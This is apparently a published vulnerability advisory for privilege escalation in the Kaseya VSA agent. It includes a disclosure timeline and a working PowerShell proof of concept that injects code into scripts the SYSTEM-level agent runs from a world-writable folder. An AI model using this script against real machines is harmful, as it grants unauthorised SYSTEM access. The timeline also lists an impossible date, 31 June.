Kaseya VSA agent 9.5 - Privilege Escalation

# Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation
# Google Dork: N/A
# Date: 2-09-2019
# Exploit Author: NF
# Vendor Homepage: https://www.kaseya.com/products/vsa/
# Software Link: https://www.kaseya.com/products/vsa/
# Version:  <= 9.5 agentmon.exe
# Tested on: Windows 10
# CVE : N/A


##Vulnerability##

This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian.
A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.
The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.

The Kaseya agent (agentmon.exe) runs as SYSTEM by default.
The agent also has a default working folder @ C:\kworking\
It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.
By default the *Authenticated Users* group has all rights to this folder.

Scripts are written to disk however they are not checked for integrity prior to execution.
So a folder can be monitored for script files being dropped and then append malicious code prior to execution.

##Proof of concept##

This PowerShell script will monitor the default working directory.
When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.
Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.

Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts

<--script start-->

      $folder = 'c:\kworking'
      $filter = '*.ps1'                          

      $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter =  [IO.NotifyFilters]'FileName, LastWrite'}

      Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {
          $path = $Event.SourceEventArgs.FullPath
          "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8
          Unregister-Event FileCreated
      }
 
<--script end-->

##Timeline##

16-06-2019 :: Issue found
18-06-2019 :: security@ emailed requesting steps to disclose  
30-06-2019 :: CERT contacted due to non response of vendor from official email address
31-06-2019 :: CERT still unable to contact vendor
07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor
20-08-2019 :: Vendor confirms receipt of details
27-08-2019 :: Email sent indicating intention to disclose due to lack of response
02-09-2019 :: No response through CERT. Findings published